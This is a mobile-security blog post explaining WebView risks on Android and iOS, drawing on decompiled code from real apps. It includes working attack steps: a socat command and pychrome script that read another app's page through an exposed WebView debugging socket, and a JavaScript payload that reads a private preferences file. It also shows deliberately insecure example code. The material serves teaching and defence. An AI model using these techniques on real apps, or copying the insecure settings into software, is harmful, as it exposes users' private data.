5 things every mobile security professional should know about WebViews


WebView is an important component for mobile applications, it allows Android and iOS applications to render web content and execute Javascript code inside a mobile application. The design of WebView implies changes of the landscape of the Web and requires special attention to avoid security holes in the applications.

Through 5 concise and useful tips, you'll understand the usage of WebViews, and the common security issues you need to check. Ostorlab already checks automatically for all of these issues using both static and dynamic analysis.

Tell me your OS version, I tell you your webview?

Webview was introduced in iOS 1 and Android 2 and knew important changes to optimize its performance and enhance its security.

Here are the biggest milestones in the Webview design:

  • iOS:

    • UIWebview is available since iOS 1 and deprecated in iOS 8. It has many security issues:
      • You can NOT disable Javascript
      • You can NOT disable Access to files
      • You can NOT implement the same origin policy for file access
      • Native application has access to all the requests/response, which is not ideal for sensitive data and external authentication
      • The rendered content, and the native application shares the same process
    • WKWebView is available starting iOS 8 and introduced multiple performance and security enhancements:
      • You can disable Javascript
      • You can disable Access to files
      • You can implement the same origin policy for file access
      • Native application has access to all the requests/responses, which is not ideal for sensitive data and external authentication
      • The rendered content, and the native application run in different processes
    • SFSafariViewController is available starting iOS 9 and provides a browser-like experience; It is mainly used when the application needs only to display the web content.
      • You can disable Javascript
      • You can disable Access to files
      • You can implement the same origin policy for file access
      • Native application can NOT access all the requests/responses, but you can use different implementations to share the Cookies and stored data
      • The rendered content, and the native application run in different processes.
  • Android:

    • WebKit from 2.x to 3:
      • You can disable Javascript
      • You can Not disable Access to files
      • You can NOT implement the same origin policy for file access
      • The rendered content, and the native application shares the same process
    • WebKit on 3:
      • You can disable Javascript
      • You can disable Access to files
      • You can NOT implement the same origin policy for file access
      • The rendered content, and the native application shares the same process
    • Chromium 30 on 4.4:
      • Webview runs in the UI thread
      • You can disable Javascript
      • You can disable Access to files
      • You can implement the same origin policy for file access
      • The rendered content, and the native application shares the same process
    • Chromium M37 on 5.0:
      • PermissionRequest class introduced to grant the WebView permission to access protected resources like the camera and microphone.
      • Supports Chromium updates from Google Play Store
    • From Android 7.0 to Android :
      • the geolocation API will only be allowed on secure origins (over HTTPS.)
      • WebView runs web content in a separate sandboxed process
      • Safe Browsing API added to notify when WebView attempts to navigate to a URL that Google has classified as a known threat.

Is it safe to enable debugging WebViews contents in production?

Short answer is: NO!

In this section we will see how a malicious application can access the data rendered in a WebView if the WebContentsDebugging is enabled.

To illustrate in an application how it is enabling the debugging WebViews contents, I will use Ostorlab's analysis environment, and search for the function setWebContentsDebuggingEnabled.

alt text

To check the call tree, and the parameters passed to the function, I go to the call tree tab:

alt text

We can see that initWebView is calling setWebContentsDebuggingEnabled:

alt text

Jumping to the source code, we can see that the parameter is retrieved from the method this.config.isWebContentsDebuggingEnabled()

private void initWebView()
    {
        android.webkit.WebSettings v0_1 = this.webView.getSettings();
        v0_1.setJavaScriptEnabled(1);
        v0_1.setDomStorageEnabled(1);
        v0_1.setGeolocationEnabled(1);
        v0_1.setDatabaseEnabled(1);
        v0_1.setAppCacheEnabled(1);
        v0_1.setMediaPlaybackRequiresUserGesture(0);
        v0_1.setJavaScriptCanOpenWindowsAutomatically(1);
        if (this.config.isMixedContentAllowed()) {
            v0_1.setMixedContentMode(0);
        }
        String v1_3 = this.config.getAppendedUserAgentString();
        if (v1_3 != null) {
            String v2_0 = v0_1.getUserAgentString();
            String v3_1 = new StringBuilder();
            v3_1.append(v2_0);
            v3_1.append( );
            v3_1.append(v1_3);
            v0_1.setUserAgentString(v3_1.toString());
        }
        String v2_2 = this.config.getOverriddenUserAgentString();
        if (v2_2 != null) {
            v0_1.setUserAgentString(v2_2);
        }
        String v3_4 = this.config.getBackgroundColor();
        if (v3_4 == null) {
        } else {
            try {
                this.webView.setBackgroundColor(com.getcapacitor.util.WebColor.parseColor(v3_4));
            } catch (boolean v4) {
                com.getcapacitor.Logger.debug(WebView background color not applied);
            }
        }
        this.webView.requestFocusFromTouch();
        android.webkit.WebView.setWebContentsDebuggingEnabled(this.config.isWebContentsDebuggingEnabled());
        return;
    }

Checking the definition of isWebContentsDebuggingEnabled, we can see that it uses capacitor.config.json and the parameter is set to true.

alt text

Next step, we install the application and run it on the phone.

WebView debugging uses the Chrome Debug Protocol, and it is exposed using an abstract named unix socket. The socket is either name webview_devtools_remote or webview_devtools_remote_<pid>.

Abstract sockets do not use file system permissions to enforce access and are therefore accessible to all applications on the device.

We can use netstat to find the exposed socket:

shell# netstat -untapexW | grep webview_devtools_remote
unix  2      [ ACC ]     STREAM     LISTENING      2633690 26634/com.xxxxx.i@webview_devtools_remote_26634

Now to exploit and read the content of the socket all we have to do is to run the following command on the phone:

socat TCP-LISTEN:9999,fork ABSTRACT:webview_devtools_remote_2466

Please note that Java doesn't have an API to access abstract socket, attackers performing this type of attack will likely use native code.

To access the remote protocol, use the Chrome Debug Protocol client, like pychrome:

import pychrome

# connect to webview on the exposed port.
browser = pychrome.Browser(url="http://127.0.0.1:9999") 
t = browser.list_tab()[0]
t.start()
t.DOM.enable()

# Access document.
t.DOM.getDocument()

We can use the DOM object to inspect all the content of the page:

>>> t.DOM.getDocument()
{'root': {'nodeId': 1, 'backendNodeId': 2, 'nodeType': 9, 'nodeName': '#document', 'localName': '', 'nodeValue': '', 'childNodeCount': 2, 'children': [{'nodeId': 2, 'parentId': 1, 'backendNodeId': 42, 'nodeType': 10, 'nodeName': 'html', 'localName': '', 'nodeValue': '', 'publicId': '', 'systemId': ''}, {'nodeId': 3, 'parentId': 1, 'backendNodeId': 43, 'nodeType': 1, 'nodeName': 'HTML', 'localName': 'html', 'nodeValue': '', 'childNodeCount': 2, 'children': [{'nodeId': 4, 'parentId': 3, 'backendNodeId': 44, 'nodeType': 1, 'nodeName': 'HEAD', 'localName': 'head', 'nodeValue': '', 'childNodeCount': 80, 'attributes': []}, {'nodeId': 5, 'parentId': 3, 'backendNodeId': 45, 'nodeType': 1, 'nodeName': 'BODY', 'localName': 'body', 'nodeValue': '', 'childNodeCount': 5, 'attributes': []}], 'attributes': ['lang', 'en'], 'frameId': '8C9DD9891A40F2CEC8D73094D29D9152'}], 'documentURL': 'https://www.xxx.com/', 'baseURL': 'https://www.xxx.com/', 'xmlVersion': ''}}

A safe trip from Java code to Javascript:

Java objects can be injected into the WebView and exposed to JavaScript using the addJavascriptInterface method. Below is a simple example illustrating how we can implement it:

webView = (WebView) findViewById(R.id.webView1); 
webView.addJavascriptInterface(new JavaScriptBridge(), "safeBridge"); 
webView.getSettings().setJavaScriptEnabled(true); 
webView.setWebChromeClient(new WebChromeClient()); 
webView.loadUrl("file:///android_asset/main.html"); 

public class JavaScriptBridge { 

    @JavascriptInterface 
    public String helloSafeWorld() 
    { 
        return "Hello World!"; 
    } 
}

In this example the helloSafeWorld() method can be invoked from JavaScript, using the following code:

var HelloWorld = window.safeBridge.helloSafeWorld();

Once an interface is registered to WebView through addJavascriptInterface, it becomes global. All pages loaded in the WebView can call this interface, and access the same data maintained by the interface. This makes it possible for web pages from one origin to affect those from others

Starting from API version 17, only methods with the @JavascriptInterface annotation are available to JavaScript code. Prior to API version 17, reflection could be used to execute arbitrary code on the device (see CVE-2012-6636).

Let's have a look at a real example from the com.microsoft.skydrive application. First we search for the function addJavascriptInterface

alt text

In the call stack tab, we can see that we have multiple interfaces exposed.

alt text

We will focus on the package com.microsoft.skydrive.reportabuse.

alt text

public void onViewCreated(android.view.View p3, android.os.Bundle p4)
    {
        kotlin.jvm.internal.Intrinsics.checkNotNullParameter(p3, view);
        android.webkit.WebView v3_12 = ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view));
        kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_12, web_view);
        android.webkit.WebView v3_13 = v3_12.getSettings();
        kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_13, web_view.settings);
        v3_13.setJavaScriptEnabled(1);
        ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view)).addJavascriptInterface(new com.microsoft.skydrive.reportabuse.ReportAbuseJavascriptInterface(this), external);
        android.webkit.WebView v3_7 = ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view));
        kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v3_7, web_view);
        v3_7.setWebViewClient(new com.microsoft.skydrive.reportabuse.ReportAbuseDialogFragment$onViewCreated$1(this));
        ((android.webkit.WebView) this._$_findCachedViewById(com.microsoft.skydrive.R$id.web_view)).loadUrl(https://www.onedrive.com/reportabuse);
        return;
    }

The interface exposes the following methods:

package com.microsoft.skydrive.reportabuse;
public interface ReportAbuseInterface {

    public abstract void dismissReportAbuse();

    public abstract String getReportAbuseContextInformation();

    public abstract void pageFinishedLoading();

    public abstract void reportClicked();

    public abstract void resize();
}

A key element when implementing those methods is to validate each input and avoid creating generic behaviors that an attacker might use to retrieve or modify sensitive data.

In the reportClicked implementation below, calling the function with a null value will trigger an error when calling valueOf, which leads to unexpected behavior.

 public void reportClicked(String p12, String p13)
    {
        android.content.Context v1_1 = this.getContext();
        if (v1_1 != null) {
            com.microsoft.authorization.instrumentation.AccountInstrumentationEvent v9_1 = new com.microsoft.authorization.instrumentation.AccountInstrumentationEvent(v1_1, com.microsoft.skydrive.instrumentation.EventMetaDataIDs.REPORT_ABUSE_CLICKED, this.a);
            try {
                com.microsoft.skydrive.reportabuse.ReportAbuseTask v2_0 = com.microsoft.skydrive.reportabuse.ReportAbuseDialogFragment$ReportAbuseType.valueOf(p12);
                com.microsoft.authorization.OneDriveAccount v4 = this.a;
            } catch (IllegalArgumentException) {
                String v13_2 = new StringBuilder();
                v13_2.append(Invalid report abuse type - );
                v13_2.append(p12);
                com.microsoft.odsp.io.Log.dPiiFree(ReportAbuseDialogFragment, v13_2.toString());
                kotlin.jvm.internal.Intrinsics.checkNotNullExpressionValue(v1_1, context);
                this.b(v1_1, 2131952415);
                v9_1.addProperty(InvalidReportAbuseType, p12);
                com.microsoft.instrumentation.util.ClientAnalyticsSession.getInstance().logEvent(v9_1);
            }
...

Let's try iOS, probably it is safer!

Before iOS 7, implementing a native bridge on iOS is slightly more complex than it is for Android: There are no explicit API methods defined for this purpose.

The common way used to work by overloading the URL loading system so that arbitrary messages can be passed from JavaScript to a callback in the native UIWebView.

Any time a URL is loaded within the WebView it invokes the shouldStartLoadWithRequest delegate method, which intercepts the full URL, including any parameters. The format of the URL is typically used to pass messages from JavaScript to the native container.

For example, the following may be used to find a name in the list of employees :

window.location = mysafebridge://employees/search/contact?firstname=john

The native container then implements the shouldStartLoadWithRequest delegate of the WebView using code similar to the following:

- (BOOL)webView:(UIWebView*)webView 
shouldStartLoadWithRequest:(NSURLRequest*)request 
navigationType:(UIWebViewNavigationType)navigationType { 
    NSURL *URL = [request URL]; 
    if ([[URL scheme] isEqualToString:@"mysafebridge"]) { 
       // parse URL, extract host and parameters to define actions 
    } 
}

The shouldStartLoadWithRequest method would typically read in the URL, then separate and interpret each of the URL components to determine what actions it should take.

The URL loading technique, however, provides only a one-way bridge from the web layer to the native container. It is possible to create a bi-directional communication channel using a JavaScript callback and the stringByEvaluatingJavaScriptFromString method of the UIWebview class.

For example, to execute a JavaScript method from the native container you might find code similar to the following:

[webView stringByEvaluatingJavaScriptFromString: @"addEmployee('%@','%@')",firstname,job];

This simple example would cause the addEmployee() JavaScript function to be executed, passing the NSString objects "firstname" and "job" to JavaScript. When used in conjunction with shouldStartLoadWithRequest, this technique is capable of providing a rudimentary bridge between the native and web layers.

You need to be careful when using a custom URI schemes, since an attacker can share a malicious link (via email, chat or SMS) and malicious JavaScript or HTML code will invoke native mobile functionality and exploit its data.

Note: UIWebView JavaScript execution limits total allocations to 10MB and runtime to 10 seconds, at which point execution will be immediately and unequivocally halted.

To overcome the limitations of UIWebView, iOS 7 is shipped with the JavaScriptCore framework which has full support for bridging communications between native Objective-C and a JavaScript runtime. The bridge is created via the new JSContext global object, which provides access to a JavaScript virtual machine for evaluating code. The Objective-C runtime can also obtain strong references to JavaScript values via JSValue objects.

The JSExport protocol allows applications to expose entire Objective-C classes and instances to JavaScript and operate on them as if they were JavaScript objects. Defining variables and methods within a protocol that inherits JSExport signals to JavaScriptCore1 that those elements can be accessed from JavaScript:

@objc public protocol CarJSExports : JSExport {
    var model: String { get set }
    var year: String { get set }
    var price: NSNumber? { get set }
    var fullDetail: String { get }
    static func createWith(model: String, year: String) -> Car
}

In the example above, JSExport protocol declaration allows Javascript to access the variables model and year and the function createWith.
Now that JavaScriptCore knows about the CarJSExports protocol, it can create an appropriate wrapper object when you add an instance of it to a JSContext:

@objc public class Car : NSObject, CarJSExports {

    public dynamic var model: String
    public dynamic var year: String
    public dynamic var price: NSNumber?    

    public required init(model: String, year: String) {
        self.model = model
        self.year = year
    }

    public class func createWith(model: String, year: String) -> Car {
            return Car(model: model, year: year)
    }

    public var fullDetail: String {
        return "\(model) \(year)"
    }
}
let context = JSContext()!
context.setObject(Car.self, forKeyedSubscript: "Car" as NSString)
context.evaluateScript(#"""
    function loadCar(json) {
        return JSON.parse(json)
          .map((attributes) => {
              let car = Car.createWithModelYear(attributes.model, attributes.year);
              car.price = attributes.price;
              return car;
        });
    }
"""#)

let json = """
[
    { "model": "Tesla", "year": "2020", "price": 999 },
    { "model": "Toyota", "year": "2220", "price": 998 },
    { "model": "Mercedes", "year": "2222", "price": 909 }
]
"""

guard let loadCar = context.objectForKeyedSubscript("loadCar"),
      let cars = loadCar.call(withArguments: [json])?.toArray()
else {
    fatalError()
}

for car in cars {
    let model = (car as! Car).model
    NSLog(model);
}

With this implementation, it becomes easy to expose objects to JavaScriptCore, this is why developers should make sure to expose only necessary data and not mirror the JSExport definition, and the initial data model. For example, if the function fullDetail might contain sensitive data, it should not be declared in CarJSExports protocol and should be only declared in the Car class definition.

Can I read one more file?

In most SDK and WebViews components, it is by default allowed to load files from the filesystem. This poses a risk when a malicious application is able to open local files within another application's WebView. This opens the exposed WebView to a myriad of exploitation techniques, from abusing accessibility settings to same origin bypass.

On Android, you can disable filesystem access from a WebView as follows on Android:

webview.getSettings().setAllowFileAccess(false); 

This will not stop the WebView from being able to load file the application's resources or assets folder using file:///android_res and file:///android_asset. To lock down the WebView , you should not allow loaded files from the filesystem to access other files. This will restrict the loaded page in exfiltrating private files.

webview.getSettings().setAllowFileAccessFromFileURLs(false); 
webview.getSettings().setAllowUniversalAccessFromFileURLs(false); 

Furthermore, you can protect a WebView from being able to access content providers on the device by using the following setting:

webview.getSettings().setAllowContentAccess(false);

Below is a vulnerable example where an attacker uses a malicious link to read sensitive data from the application's directory. The application writes cleartext password to shared preferences:

SharedPreferences sharedPref = getPreferences(Context.MODE_PRIVATE);
SharedPreferences.Editor editor = sharedPref.edit();
editor.putString("password", "MyBadPassword");
editor.apply();

And, the application uses a Webview to display a URL from an intent or, a user input.

String badUrl = getIntent().getStringExtra("URL");
WebView webview = findViewById(R.id.webview);

WebSettings webSettings = webview.getSettings();
webSettings.setJavaScriptEnabled(true);
webSettings.setAllowFileAccessFromFileURLs(true);

webview.setWebChromeClient(new WebChromeClient());

webview.loadUrl(badUrl);

In this case, both JavaScript and AllowFileAccessFromFileURLs are enabled. The malicious file test.html reads the shared preferences file MainActivity.xml and is able to exfiltrate it.

function readTextFile(file)
{
    var rawFile = new XMLHttpRequest();
    rawFile.open("GET", file, false);
    rawFile.onreadystatechange = function ()
    {
        if(rawFile.readyState === 4)
        {
            if(rawFile.status === 200 || rawFile.status == 0)
            {
                var allText = rawFile.responseText;
                // send allText to external link
            }
        }
    }
    rawFile.send(null);.0          
};

By accessing the URL within the application, we can see that the malicous code is executed, and the content of the file is accessible:

alt text

Summary

Webview is an important component of mobile apps. It provides a lot of flexibility to access and interact with external resources, but with it comes many security challenges.

To sum up, ensure to use the latest SDK version and avoid deprecated components, be careful when enabling JavaScript code or implementing native to JavaScript bridges. Features should be restricted the least required.

I hope you found this useful and do not hesitate to test your application on Ostorlab.